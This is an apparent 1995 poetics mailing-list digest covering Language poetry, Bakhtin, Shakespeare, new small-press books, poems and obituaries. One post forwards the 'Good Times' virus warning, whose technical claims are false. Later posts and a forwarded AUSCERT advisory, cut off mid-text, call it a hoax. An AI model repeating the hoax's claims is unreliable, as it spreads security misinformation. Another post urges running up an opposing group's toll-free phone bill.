--Beep beep cannot answer question. Beep Search for Dictionary Definition INCOMPLETE: State dictionary-protocols. Search for Expanded Definition for Encyclopaedia Entry INCOMPLETE: State encyclopaedia-protocols. Beep.

I tried Definition as clarification of essence; as setting of category limits?

-- beep beep beeep INAPPROPRIATE PROCEDURES.

Conclusions: Attitude and positioning factors in writer-reader relations, i.e.specifics of attempts at organization or re-organization of political relations in writing-reading, most likely open-ended discourse as description/hermeneutics of LangPo. Attempts to descry a common style, characteristics etc, characteristic biographies, reinserts LangPo in the discourses that it seeks to oppose: there's something! an opposition of discourses, something positive to get on with. Seekers for definitions need to ask themselves a lot of questions about the epistemology (I typed * epistewmology *) and the systems of learning and their protocols implied by DEFINITION when applied to materials not easily subjected to Cartesian mathesis, i.e. the human sciences, arts (as we understand them).

The thing to do is to begin reading and check out what is happening in the reading. L=etc magazine is obviously crucial. If anyone has read through that, the question of definition probably could not arise.

Is the purpose of definition to create a category of experiences in literature that can be explained BEFORE the texts themselves are attempted? I'd begin with Peter Seaton's THE SON MASTER and his critical writing as well, just to begin with something tough to read...

It is an interesting fact (as CB has indicated) that several exacting NYC "Language Writers" are not on this list.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

466. **Tony Green**
Re: re-politics again
Sun 23 Apr 1995

Kathryne Lindberg's comments, interesting. Add to bibliography the essay "L'ART ETAIT UN NOM PROPRE" in T De Duve" Au Nom de L'art" Ed de Minuit. 1988. esp pp.55-61 "Exit".

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

467. **cris cheek**
new series, first publication
Sun 23 Apr 1995

Public Works announces its first publication:

Spanish Poems

by Elizabeth Burns

This sequence, excerpted in Mirage Periodical, of poems originally written in Spanish, finds the poet drawing, Beckett-like, on the directness of another tongue to articulate herself through difficulty in the most plangent lyric. Burns translates herself back into English at the foot of every page. The Spanish reads

like a primer text for beginning students to the language, so one can feel one's way with the aid of the translations. Its statements, of course, would appear in no existing primer text for teaching Spanish; they are passionate and surreal and political all, and their respect for the way that the surface of language, and the digressions of surrealism, can in fact lead one to one's subject, rather than the other way around, brings contemporary American experimentalism in touch with Spanish poetry, promising some of the important cultural exchange already in place with current Russian poetry.

Subscribers to this series, including forthcoming work by Juliana Spahr and Lizbeth Keiler, welcome. Exchanges of books considered as payment. Please contact the series editor, Ira Lightman, at [redacted] or 48 Gloucester Street, Norwich, NR2 2DX.

↑ Index

468. **Kenneth Sherwood**

Poe(li)tics

Sun 23 Apr 1995

As I'm reading Bakhtin at present, I was surprised to hear him called 'pernicious.' Is this because (in Marxist fashion) his politics exceeds his poetry? Or is there some other gripe?

I like Mike Boughn's formulation (poetry is political, religion: aesthetic, etc.) about forcing of once category of human activity to signify in terms of another. I assume M. means it as a point against so forcing poetry, escpecially allowing it to be subsumed by the political.

It's just because 'politics' seems so able to swallow the world that I want to jam poetry in its mouth and dare it to swallow. Isn't this part of what Charles Olson, Susan Howe, Rosemarie Waldrop, Walt Whitman, William Blake, et al engage in their poetry?

↑ Index

469. **Tony Green**

Not a definition - 1

Sun 23 Apr 1995

It is February 1978. Rae Armantrout in L=A=N=G=U=A=G=E :
" The writers I like are surprising, revelatory. They bring the underlying structures of language/thought into consciousness."

Tony Green,
e-mail: [redacted]
post: Dept of Art History,

University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

470. George Bowering
Re: Definition: Language Poetry
Mon 24 Apr 1995

Re Linz's I mean Lindz's recent swipe. I have a hard time gettinmg around the idea of Atwood or Marian Engel as postmodern writers. As a novelist, Atwood is primarily a writer of comedies of manners, and quite happy to go along with agreementsd that we agree on the values and referentialities of wqords and syntax. Engel wrote mainly fictions about an individual who was trapped in conflicts and situations caused by her environment. Neither of them was much into constructing fictions but rather happy to pretend that fictions were kind of synechdoches of life.

↑ Index

471. Aldon L. Nielsen
Re: Don Pullen
Mon 24 Apr 1995

I hate to be the bearer of this kind of bad news twice in such rapid order, but I have just learned that Don Pullen died Saturday of lymphoma.

Don was one of the great pianists and composers of our time, and, like Julius Hemphill, he was a great friend of poets and a supporter of communities of writers. He was only 53 when he died. As a soloist and as the leader of a series of remarkable jazz groups, Pullen recorded prolifically and he has left us a body of work that we will be listening to and thinking about for generations to come.

↑ Index

472. Lindz Williamson
Re: Definition: Language Poetry
Mon 24 Apr 1995

On Sun, 23 Apr 1995, George Bowering wrote:

> Re Linz's I mean Lindz's recent swipe. I have a hard time gettinmg
> around the idea of Atwood or Marian Engel as postmodern writers. As a
> novelist, Atwood is primarily a writer of comedies of manners, and

> quite happy to go along with agreementsd that we agree on the values
> and referentialities of wqords and syntax. Engel wrote mainly
> fictions about an individual who was trapped in conflicts and
> situations caused by her environment. Neither of them was much into
> constructing fictions but rather happy to pretend that fictions were
> kind of synechdoches of life.
>
I agree with what you've said about Atwood and Engel, but I've read a
couple articles that have classified both these writers as post modern.
Possibly this is due more to the time in which they are writing rather
than the actual style and content. I also really liked Ryan's answer.
As usual he smacked me on the nose with some thing witty and thoughtful.

Hey George, it's Linzed not Linz, remeber. See you at Art's, and hey is Bill
really picking up the tab, or is that some rumor Ryan is spreading?

LIndz

↑ Index

473. **Lindz Williamson**
Re: Definition
Mon 24 Apr 1995

Ryan , I was at the other end of the table holding up Reg, so I missed this conversation. WhAt exactly do you mean by feminine discourse? Are you refering to the concept of Herstory? I was just talking to someone the other day hos I have been taught to accept the first person male as the typical narrative and therefore my sense of language is dominated by masculine words. Of course this is less obvious as English appears to neuter. I seem to remeber discussing this before online and I like that it keeps coming up. I'm reading Ondaatje's Coming through Slaughter at the moment and although it is mostly written from the male perspective, he does sometimes slip into a female voice and I find it very effective. I know I have more to say but it's too early, we'll pick this up later.

Lindz

↑ Index

474. **Edward Foster**
Re: re-politics again
Mon 24 Apr 1995

kathryne, if i read you correctly, you are insisting that poetry is necessarily, or somehow essentially, communication. well, i don't think that's true; i think you just found the bar of soap that rexroth slipped on. no one listens to poetry.

↑ Index

475. **Andrew Joron**
First Intensity
Mon 24 Apr 1995

I would like to call attention to a worthwhile new magazine, currently in its fourth issue, _First Intensity_. Editor Lee Chapman seems to have learned a lot from _Talisman_'s model of providing pluralism, unpretentious production, and a passion for innovative writing. The mag's title comes from Pound's "Vorticism" essay: "The work of art which is most 'worth while' is the work which would need a hundred works of any other kind of art to explain it. . .Such works are what we call works of the 'first intensity.'" Subscriptions are $17.oo per year (2 issues), payable to Lee Chapman, P.O. Box 140713, Staten Island NY 10314.

↑ Index

476. **Edward Foster**
Re: Poe(li)tics
Mon 24 Apr 1995

no, bakhtin "pernicious" because it sounds so plausible, until one sees what's left out. also, his thinking was everywhere in academia (it seemed) ten or so years ago. or rather his thinking about. and that's what it was/is, another "about."

↑ Index

477. **Tom Mandel**
Re: Re Mandel/Mao
Mon 24 Apr 1995

re: "there are no correct ideas," perhaps Aaron (hi from Washington, Aaron; come visit and give a reading) would like to expand on this.

Shabtai Zwi, the Jewish false messiah of the 17th century, introduced a blessing that went as follows: "Blessed be the Lord our God, King of the universe, who permittest that which is forbidden."

Tom Mandel

↑ Index

478. **Tom Mandel**
Re: re-politics again
Mon 24 Apr 1995

Ed, I think we'll have to disagree about Bakhtin, and maybe about the meaning of the term "theology" too, since I don't see Jung, who I certainly would classify as pernicious, in that light whatever.

But I'm interested in what you mean by the phrase "seeing movement in the work as in the experience as namable rather than merely manifest."

Without anticipating your response to that interest -- I mean it as a query -- I would just say that "manifest" as you use the term is to me a theological term, if a term of Greek theology and perhaps also gnosticism rather than of Xtian theology.

To "manifest" I would not oppose "namable" but rather
speak-able, subject to commentary, to response, to something
further. Reading, again to me, is this "further" or "other"
and it makes and remakes the poem which is not an object
(again, to me) but a subject, a speaking being.

Tom Mandel

↑ Index

479. **Tom Mandel**
Re: First Intensity
Mon 24 Apr 1995

Did not Lee Chapman's press (?) also publish a very interesting book of poetry called _Tokenish_ ? I'm embarrassed to say that I've forgotten the author's name and hope someone can recall, providing biblio. details -- or am I wrong?

Tom Mandel

↑ Index

480. **cris cheek**
and desire / the 39 steps
Mon 24 Apr 1995

---

come buy my binaries? not me. (whispering) face it - being there is questionable. join the queue bud. weave your ropes of spittle. grass, go tell the trees, 'cause the trees don't need to know - the dried is more combustible.

↑ Index

481. **Colleen Lookingbill**

Re: Throttled by angels

Tue 25 Apr 1995

Dodie and Ed - Since you both like Plath here is a recent poem from me.

For Sylvia

Well on the air
ordinary Elm street
a naked mouth
pulling death
by accident

This level of intense
see what I see
persona near the hive
lightning to envision
self-absorption
having genius
baked beside you

Time to write
so ideas rush
a third presence
riderless won't sleep
retrograde gift
hard as rock
noon through night

Suspend
lack of attention
no matter what
serious crossings
ignite the landscape

Fountains are dry
an underworld force
gaps weird elegance
this was life
because of us
to say it for us
how to come home

cross your fingers
in company of priests

Blame the dark
which passed around
gets too close
dissolves for another
drag out of hiding
this spelling mind
mailed into space
should remind us
who has come to call

↑ Index

482. Colleen Lookingbill
Re: Throttling
Tue 25 Apr 1995

Kevin - I liked your story - didn't sound stupid - sounded real. Colleen

↑ Index

483. Spencer Selby
Re: First Intensity
Tue 25 Apr 1995

James Thomas Stevens' poem TOKINISH, hovers over the abyss between one language and another, one culture and another, one body and another. Taking his cue from Roger Williams' dictionary of Narragansett, _A Key Into the Language of America_, Stevens (whose Mohawk name is Aronhiotas) discovers, or re-collects, America at the moment of catastrophic translation, which is both *agon* and *conjunctio*, and in whose lingering wreckage we make our uneasy homes.

Tokinish was co-published by First Intensity and Shuffaloff books. It sells for $7, and I would imagine that it can be ordered from either Lee Chapman or Mike Boughn, who is on this list. If anyone wishes to email Lee, her address is [redacted].

On Mon, 24 Apr 1995, Tom Mandel wrote:

> *Did not Lee Chapman's press (?) also publish a very interesting book of poetry called _Tokenish_ ? I'm embarrassed to say that I've forgotten the author's name and hope someone can recall, providing biblio. details -- or am I wrong?*

> *Tom Mandel*

↑ Index

484. Lakritz, Andrew
Re: POETICS Digest - 23 Apr 1995 to
Tue 25 Apr 1995

Your message has been received in the mailbox of Dr. Andrew M. Lakritz, Scholar-In-Residence at the U.S. Information Agency. He will reply to your message within 24 hours, or will forward your request to the appropriate office. You may also telephone or send a facsimile to the numbers listed below. Thank you for your patience.11:02p 4/24/95

~ * ~

Andrew Lakritz
US Information Agency
Bureau of Educational and Cultural Affairs
Division for the Study of the United States
301 4th Street, SW Room 252
Washington D.C. 20547
[redacted]
[redacted] FAX

~ * ~

↑ Index

485. Robert Drake
Re: First Intensity
Tue 25 Apr 1995

i haven't yet seen Stevens' book, but hope to now, as i'm currently enjoying Wosmarie Waldrop's _A Key Into the Language of America_, which also jumps off from Williams' dictionary, but w/ a very different (relatively recent German immigrant) tho praps not inconsistant perspective... recommended.

> *James Thomas Stevens' poem TOKINISH, hovers over the abyss between one language and another, one culture and another, one body and another. Taking his cue from Roger Williams' dictionary of Narragansett, _A Key Into the Language of America_, Stevens (whose Mohawk name is Aronhiotas) discovers, or re-collects, America at the moment of catastrophic translation, which is both *agon* and *conjunctio*, and in whose lingering wreckage we make our uneasy homes.*

lbd

↑ Index

486. **Andrew Joron**
Tokinish
Tue 25 Apr 1995

Dear Tom Mandel, in response to your post yesterday: Yes, Lee Chapman is also the publisher of _Tokinish_ by James Thomas Stevens, under the imprint of First Intensity / shuffaloff books in 1994. Stevens, a Native American (his Mohawk name is Aronhiotas), has written (as Rosmarie Waldrop has also done recently) a poetic response to Roger Williams' _A Key into the Language of America_ (1643). Williams, a clergyman who is considered the "founder" of Providence, Rhode Island, was a church renegade and attempted in _Key_ to document the language of the Narragansett people. "Tokinish" is a Narragansett imperrative meaning: "Wake him."

↑ Index

487. **Edward Foster**
Re: re-politics again
Tue 25 Apr 1995

no, tom, i'll stay with jung as theologian (as indeed his father literally was) by which i read interpreter of the spiritual, tho that's too blunt, i'm understand, in view of later work/utterance.

↑ Index

488. **Edward Foster**
Re: re-politics again
Tue 25 Apr 1995

tom: in previous, "understand" should be "sure." whether "manifest" is/is not a theological term, as such it is an act (not, as the Big O would say, wisdom). as to poem as "speaking being," ahhhhhhhhhhh, there's too much "i" in that, for me.

↑ Index

489. **Edward Foster**
Re: Throttled by angels
Tue 25 Apr 1995

thank you, colleen

↑ Index

490. Edward Foster
Re: and desire / the 39 steps
Tue 25 Apr 1995

dry winter grass, my binary one: what orchid morning, a cappella, where we speak of andes, grass along the plain, the spirit of the others grey, the passersby stone cold, yet i know what is dry will also burn.

↑ Index

491. AARON SHURIN
Re: Re Mandel/Mao
Tue 25 Apr 1995

On Mon, 24 Apr 1995, Tom Mandel wrote:

> *re: "there are no correct ideas," perhaps Aaron (hi from Washington, Aaron; come visit and give a reading) would like to expand on this.*
>
> *Shabtai Zwi, the Jewish false messiah of the 17th century, introduced a blessing that went as follows: "Blessed be the Lord our God, King of the universe, who permittest that which is forbidden."*
>
> *Tom Mandel*

Yikes, Tom, you're generous-spirited response has managed to de-lurk me again! I guess I'd say I'm with Shabtai Zwi in the sense that I'm as interested in false messiahs as correct ones.

Aaron

↑ Index

492. Ryan Knighton
Re: Definition
Tue 25 Apr 1995

Lindszed, what i meant was, or what i was thinking about was, the kind of syntactics you find in Susan Howe. the idea being that Cordelia stands to inherit herself fromthe king unless she holds or breaks the tongue he gave her. Women, according ot Howe and others, have been written. That is where my head was at.

↑ Index

493. **Ryan Knighton**
Re: Definition: Language Poetry
Tue 25 Apr 1995

sorry lindz, didn't mean to smack you on the nose, as youve described it.

↑ Index

494. **Tony Green**
Re: Throttling
Tue 25 Apr 1995

I enjoyed yr story Kevin, like all such tales of behind the scenes, of the serious public personage shown life-size or smaller. You sure thought of a really big interruption for LZ...how wd he have relished that one? Have you got any more such tales?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

495. **Tony Green**
Not definition 2
Tue 25 Apr 1995

June 1978 Rosmarie Waldrop [{(alias Wosmarie Waldrop?)}] in L=... writes:

"What interests me most in poetry now is the shift of emphasis from the image (i.e.relation of similarity) to contiguity: problems of combination, syntax, sequence, structure".

[original lineation

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand

Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

496. **Marshall H. Reese**
PHONE CONGRESS FOR FREE
Tue 25 Apr 1995

Date: Fri, 21 Apr 1995 12:21:29 -0700 (PDT)
>From: Joshua Lurie-Turrell <[redacted]>
>Subject: Phone Congress for FREE!-while charging the Right (fwd)

I'm sure you've all heard about this already but here it is anyway:

You can call Capitol Hill to tell your Congressperson or
Senator what you think AND charge the religious right for your call.

Far-right Traditional Values Coalition leader Rev. Lou Sheldon paid for
a toll-free number so anti-gay supporters
could call congressional members and express their political views.

Well, anyone can use the same number and give opposite views directly to
DC. The [redacted] phone number
connects you directly to Capitol Hill.

Spread this post and the phone number as far as possible. Make some calls and push up the phone bill for the religious right. (I have There are 9 lines left (83%). Press <space> for more, or 'i' to return. Message 1/26 From Tom Damrauer Page 3

calls and push up the phone bill for the religious right. (I have tried the number and it does get you through to the "Capitol" receptionist. Just ask for the Congress person by name and you will be connected to that office.)

--- end forwarded text

↑ Index

497. **Chris Stroffolino**
Re: Definition
Tue 25 Apr 1995

Ryan----Oh the implication that Shakespeare (and other males) WROTE WOMEN...why do people wish to claim it is some incontrovertible backdrop truth against which to "usher in the new era"--There are men reading women--the playwrite (or "the language" if you must totally reject the "authorial fallacy") quite self-consciously shows the men misreading women. "Your actions are my dreams" etc. It seems it's the realization that women

AREN'T written by men that allows women a freedom that is not some Gyatri Spivackian nihilism--that men only go so far...in sofar as men are conscious of this there can be a solidarity. Yet there must be a recognition that it's one thing to prove a writer "male" or 'female" and another to prove them "good" or "evil." Just a thought, CS

↑ Index

498. **Tom Mandel**
Re: Throttled by angels
Tue 25 Apr 1995

Colleen Lookingbill's poem is wonderful. Thank you.

Tom Mandel

↑ Index

499. **Tom Mandel**
Re: First Intensity
Tue 25 Apr 1995

Spencer's brief comment on James Thomas Stevens' _Tokenish_ seem write on the mark to me, and I'd concur in recommending this piece of work to you all. I'd borrowed it from (and returned it to) Joan Retallack, which explains my forgetfulness of the author's name (i.e. explains in very small part...).

Tom Mandel

↑ Index

500. **Tom Mandel**
Re: re-politics again
Tue 25 Apr 1995

I both love and hate Ed Foster's imposed limitation of 3 lines of text; love it because of the implosive intensity it forces on him and because of the simple fact that his posts are short not long; hate, because I keep wanting a more extensible dialogue. I don't, for example, mean by calling a poem a subject rather than an object to impart an ego to the poem.

Tom Mandel

↑ Index

501. **Tom Mandel**
Re: Re Mandel/Mao
Tue 25 Apr 1995

Aaron, if one is to be interested in messiahs, I guess one would have to be interested false ones, or it's a long wait (admittedly in a crowd). Anything to delurk you. What's the latest in the Western world?

Tom

↑ Index

502. **Kevin Killian**
Re: Email Virus (fwd)
Tue 25 Apr 1995

Spencer,

My service provider, sirius, who may be sadistic in their customer support, but who has lots of online support, says this goodtimes virus is a hoax. They even explained how it was impossible for it to work the way it's said, but I deleted the message that said this because--why not? My mind, unfortunately, works the same way with most facts--like they're some hoax to be deleted.

I hope I see you at Langton on Friday.

Love,
Dodie

↑ Index

503. **Kevin Killian**
Re: Email Virus (fwd)
Tue 25 Apr 1995

Spencer,

> *I hope I see you at Langton on Friday.*

Ooops! That's a week from Friday.

DB

↑ Index

504. Edward Foster
Re: Standing
Tue 25 Apr 1995

karl orend (alyscamps press) now compiling book of tributes to Gascoyne. send prose, poetry, photographs, artwork, etc. ("any language," "any reasonable length") by 9/1/95 alyscamps press, 35 rue de l'esperance, 75013 Paris, France.

↑ Index

505. Herb Levy
subtext 3
Tue 25 Apr 1995

Hi -

I just received the mailing for a reading series this May here in Seattle that should be of interest to people on the poetics-list. It's the third series organized by Ezra Mark and Nico Vassilakis in a year or so. They say on the flyer that they'll be producing a collection from these and previous readings.

This time all events are at 7PM at Wessel & Lieberman Booksellers, 121 First Avenue, Seattle.

Friday May 5:

Noemie Maxwell
Spencer Selby
John Olson

Friday May 12:

Tom Malone
Ezra Mark
Robert Mittenthal

Wednesday May 17:

Joseph Keppler
Nico Vassilakis

Wednesday May 24:

Marvin Sackner
Crag Hill

Friday May 26:

Susan Clark
Jeanne Heuving
Catriona Strang

See you there.

- Herb

↑ Index

506. Mn Center For Book Arts
Re: Throttling
Tue 25 Apr 1995

Up again online after my internet provider (univ. of minnesota) had a disk crash and systems were down for a few days.

Kevin, your story was certainly not stupid. But don't hurt the flowers, they didn't mean you ill.

I just read your SANTA, published by Leave Books, and thought it was marvelous. Congratulations!

I wasn't throttled. Sure, I had to read Longfellow and didn't like it much. At home about the only poet to hand was R.L. Stevenson, and my father loved "Requiem," and so did I as a young boy. Somehow, early on, I found Dickinson on my own and she has remained a major influence. I remember in high school, when I began to write (age 14) liking Keats and Tennyson (the Tennyson of In Memoriam and a few short works, not the Tennyson of Idylls of the King). I still think Tennyson can make the language sing and at his best does not overdo it (although his best is perhaps not as prevalent as his worst). First poets read in college were W.C. Williams & Ginsberg, so, I'm afraid, not much throttling. Then studies in linguistics just seemed to open everything up. It still is.

> charles alexander

↑ Index

507. Gary Sullivan
Re: For Sylvia
Wed 26 Apr 1995

Dear Colleen:

Wow, what a wonderful poem! I showed it to Marta and your second stanza:

> This level of intense
> see what I see
> persona near the hive ...

prompted her to say: "You know, if anyone came close to realizing Laura Riding's idea of 'purity,' it was Plath."

Thanks for your beautiful poem. I wish there was at least one poem posted by someone here every day. It'd almost make up for the fact that there aren't any in our daily newspapers ...

Yours,

Gary

↑ Index

508. **John Byrum**
Re: Mail before Malls!
Wed 26 Apr 1995

The first good laugh I've had in reading all these postings came from a (by now) old one from Ron Silliman (note unabashed use of both names):

"Language Poetry is puke."

Good one!

JMB

↑ Index

509. **Ryan Knighton**
Re: Not definition 2
Wed 26 Apr 1995

Howe-language surrounds chaos
spicer-words shrivel around the real like flesh
hejinian-language lets you discover what you might know

)paraphrases off the top of my head and tip of my tongue from

"there are not leaves enough...", "after lorca", and "the
rejection of closure", in that order and their ardour.

(i like the wald. quote, tony. thanks.)

↑ Index

510. **Spencer Selby**
Re: re-politics again
Wed 26 Apr 1995

On Tue, 25 Apr 1995, Tom Mandel wrote:

> *I don't, for example, mean by calling a poem a subject rather than an object to impart an ego to the poem.*

That's good to hear, since we've got more than enough ego and egos surrounding all the work.

I might add that I'd like to take credit for the paragraph I posted on _Tokinish_, but the truth is, I lifted it off the back of the book.

↑ Index

511. Lindz Williamson
cordelia
Wed 26 Apr 1995

I never liked Cordelia all that much in Lear, Will never painted her fully in my mind and he wimped out at the end by having her die. I know she's commonly considered the" redeemer", but in that sense she loses her feminine aspect. Her character and actions are masculine, just as Goneril and Regan.
A piece I've always liked but puzzled over was Tennyson's The Princess, inparticular " The Woman's cause is the Man's"

> For Woman is not undeveloped man,
> But diverse: could we make as the man,
> Sweet Love were slain: his dearest bond is this,
> Not like to like, but like in difference.

Lindz

↑ Index

512. Spencer Selby
Email Virus (fwd)
Wed 26 Apr 1995

---------- Forwarded message ----------
Date: Tue, 25 Apr 1995 13:48:00 +0000
From: RCMNET!RCM03![redacted]
To: [redacted]
Subject: Email Virus

---------- Virus Alert

The FCC released a warning last Wednesday concerning a matter of major importance to any regular user of the InterNet. Apparently, a new computer virus has been engineered by a user of America Online that is unparalleled in its destructive capability. Other, more well-known viruses such as Stoned, Airwolf, and Michaelangelo pale in comparison to the prospects of this newest creation by a warped mentality.

What makes this virus so terrifying, said the FCC, is the fact that no program needs to be exchanged for a new computer to be infected. It can be spread through the existing e-mail systems of the InterNet. Once a computer is infected, one of several things can happen. If the computer contains a hard drive, that will most likely be destroyed. If the program is not stopped, the computer's processor will be placed in an nth-complexity infinite binary loop - which can severely damage the processor if left running that way too long. Unfortunately, most novice computer users will NOT realize what is happening until it is far too late.

Luckily, there is one sure means of detecting what is now known as the "Good Times" virus. It always travels to new computers the same way in a text e-mail message with the subject line reading simply "Good Times". Avoiding infection is easy once the file has been received - by not reading it. The act of loading the file into the mail server's ASCII buffer causes the "Good Times" mainline program to initialize and execute. The program is highly intelligent - it will send copies of itself to every one whose e-mail address is contained in a received-mail file or a sent-mail file, if it can find one. It will then proceed to trash the computer it is running on.

The bottom line here is - if you receive a file with the subject line "Good Times", delete it immediately! Do not read it! Rest assured that whoever's name was on the "From:" line was surely struck by the virus.

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513. Loss Glazier
Re: Email Virus (fwd)
Wed 26 Apr 1995

Word here is that the "Good Times" virus is a hoax.

↑ Index

514. Chris Stroffolino
Re: Not definition 2
Wed 26 Apr 1995

Spicer--words shrivel around the real like flesh
Tzara---I think of the warmth spun by the word
    Around its center the dream called ourselves (tr.)

↑ Index

515. **peter quartermain**
Brian Coffey 1905-1995
Wed 26 Apr 1995

> "Dennis Devlin and Brian Coffey are
> without question the most interesting of
> the younger generation of Irish poets."
> Samuel Beckett, 1934.

WHOSE WHO

Dad not at eighty cured
shapes under clouds fair girls
where sunshafts lie
while Pete or somesuch chasing
Pussy homes on Doll
the Bod who's Babs the Mind

Bab's interests cross Doll's
Dad she phones sighs "I want
to talk" meaning to stalk
in Dad what Doll refuses

Babs the Peeper Doll the Tease
Dad self-deceiver
Pete at graze

Too little known Irish poet Brian Coffey died on Good Friday, 14 April 1995. Born 8 June 1905, his father Professor of Anatomy (and first President, 1904-1940) at University College, Dublin. Baccalaurate in Classics 1924, studied Chemistry Mathematics and Physics at UCD (master's degree in 1930), research in Physical Chemistry in Paris in early 1930s, gradually switching to "the philosophical problems which arise out of any fundamental research." Works with Jacques Maritain 1933-1936. Meets Samuel Beckett, London 1934; begins doctoral studies on Thomas Aquinas, Sorbonne 1937 (completed 1947); meets Joyce at Beckett's, 1938: as he later wrote, "in that quite informal atmosphere he profited, as the young always do, from the opportunity to see and listen to an eminent elder in unpremeditated action, but he felt no deire to follow up the chance encounters." Works mainly teaching school till 1972, when he retired, with a brief interval as Assistant Professor of Philosophy,

St Louis University MO 1947-1952. Learned printing 1966 and established Advent Press in 1967, published work by Dennis Devlin and others (including himself). Translator of Mallarme (Coup Des Des), Neruda, Bonheur, Eluard, Nerval, etc etc.

A representative sampling of his work is in the Brian Coffey issue of the Irish University Review 5.1 (Spring 1975); his Selected Poems (1983) are (I think) still available from The Raven Arts Press, 31 North Frederick Street, Dublin 1, and his long poem _Advent_ (1986) might (like his _Death of Hektor_) still be available from Menard Press, 8 The Oaks, Woodside Avenue, London N12 8AR, distributed by SPD. Harry Gilonis has recently (1994) published the pamphlet _Salute/Verse/Circumstance_ through his Form Books, 42A Lowden Road, Herne Hill, London SE24 0BH

Advent occupies a place in Irish writing similar to that occupied in English-language poetry at large by Bunting's _Briggflatts_ and Oppen's _Of Being Numerous_. Another major poet who we only learn to read after he's dead.

Peter Quartermain
128 East 23rd Avenue voice and fax [redacted]
Vancouver
B.C. e-mail: [redacted]
Canada V5V 1X2

↑ Index

516. cris cheek
Re: poetry and the electronic
Wed 26 Apr 1995

> *Date: Wed, 26 Apr 1995 16:39:48 +0000*
> *To:Kenneth Sherwood <[redacted]>*
> *From:[redacted] (cris cheek)*
> *Subject:Re: poetry and the electronic*
>
> *Cris:*
>
> *Thanks for writing and clarifying. I hadn't made the connection between your desire to 'distribute' via EPC and the 'book swap'*

idea.

I personally think the idea is quite good; and perhaps EPC could help.
Do you think there needs to be a separate 'area' for bookswap
notices? I mean, we could do this, I suppose. But, thinking
only now as I type, wouldn't it work just as well to integrate
this with the general Press-announcements section we already
have? This way Charles Alexander would read your page and
perhaps swap with you, while someone else without a press
to swap from might contact you to buy the books.

Have I missed something?

Ken

Hi Ken,

I think it needs a separate focus partly because I sense a desire for author
to author exchange as well. Yes, of course that can be done simply through
this e-space and some people are doing it happily already BUT as time rolls on
and others come and go and some blow more or less active for many many reasons
maybe one clear focus for this purpose is worth exploring. It might be easier
to be directed straight to the 'Book Exchange - Timezone Distribution' site.
There would be an Author-Author availability and a Press-Press availability.
Any press could say very concisely its terms.

Negotiable. Send sample. Equivalent value no problem. Chaps and perfect bound
and books on disc acceptable. - (for example for a press maybe)

Otherwise any casual browser or frequent (had to delete 'regular') user has to
open and close numerous sites.

Couldn't a swap page also have a click-on sample facility when possible and
so on to add guidance to follow up choices.

Bob - i'll ask you here if you feel TAPROOT is the appropriate host for this
or if a separate EPC site makes more sense? I'd go with whatever solution can
be made to work with the minimum of work and the maximum of user-friendliness.

My concerns are about openness and ease of access rather than passwords and
in-ness. But maybe it's felt generally that some form of 'masonry' is
'necessary'?

maybe I'm just dumping too much time-consuming work by even suggesting this
possibility, but . . .

> *regards*
> *cris*

↑ Index

517. **maria damon**
Re: cordelia
Wed 26 Apr 1995

In message <[redacted]> UB Poetics discussion group
writes:
> I never liked Cordelia all that much in Lear, Will never painted
> her fully in my mind and he wimped out at the end by having her die. I
> know she's commonly considered the" redeemer", but in that sense she
> loses her feminine aspect. Her character and actions are masculine, just
> as Goneril and Regan.

what is feminine and masculine?--maria d

> *A piece I've always liked but puzzled over was Tennyson's The Princess, inparticular " The Woman's cause is the Man's"*
>
> *For Woman is not undeveloped man,*
> *But diverse: could we make as the man,*
> *Sweet Love were slain: his dearest bond is this,*
> *Not like to like, but like in difference.*
>
> *Lindz*

↑ Index

518. **Mark Roberts**
AUSCERT Alert AL-95.02.virus.hoax.returns (fwd)
Wed 26 Apr 1995

> *Date: Thu, 27 Apr 1995 11:03:33 +0800 (WST)*
> *From: Sarah Lane <[redacted]>*
> *Subject: AUSCERT Alert AL-95.02.virus.hoax.returns (fwd)*
> *To: Australian Literature Discussion <[redacted]>*

---------- Forwarded message ----------
Date: Wed Apr 26 17:38:59 1995
From: Australian Computer Emergency Response Team <[redacted]>
To: [redacted]
Cc: [redacted]
Subject: AUSCERT Alert AL-95.02.virus.hoax.returns

==========
==========
AL-95.02 AUSCERT Alert
April 26, 1995
"Good Times" Virus HOAX returns.

There is a message circulating that warns of a email virus called "Good Times".

*********** THE "Good Times" VIRUS IS A HOAX. **********

Please do NOT pass on any warnings about this virus.

Please notify anyone who sends you such a warning that it is not valid.

(HINT: Do not use the words "good times" in the subject line as anyone who believes the hoax will simply delete the message unread.)

This is a similar hoax to the "Good Times" virus hoax that had very wide circulation in December of 1994.

If you are interested in more details, a PCERT Advisory on the subject is included below this message. AUSCERT would like to thank PCERT for the use of this material.

If you believe that your system has been compromised, contact AUSCERT or your representative in FIRST (Forum of Incident Response and Security Teams).

AUSCERT is the Australian Computer Emergency Response Team, funded by the Australian Academic Research Network (AARNet) for its members. It is located at The University of Queensland within the Prentice Centre. AUSCERT is a full member of the Forum of Incident Response and Security Teams (FIRST).

Internet Email: [redacted]
Facsimile: (07) [redacted]
Telephone: (07) [redacted] (International: [redacted])
AUSCERT personnel answer during Queensland business hours which are GMT+10:00 (AEST).
On call after hours for emergencies.

----------->>>>>>>>>>>>>>>>>>>>>>>>>>
PCERT Advisory
(Purdue Computer Emergency Response Team, <[redacted]>)
"Good Times" Virus Hoax Circulating Again
April 24, 1995

Summary

The "Good Times" virus warnings are a hoax. People are circulating the warnings without verifying the information contained therein, thus leading to unnecessary worry and concern. Please do not circulate the "Good Times" warnings further. Please send this advisory on to anyone who has mailed you such an advisory.

In this advisory:
Summary
Background
More Recently
What you can do
Additional Discussion
More Information
Contact information for FIRST

Background

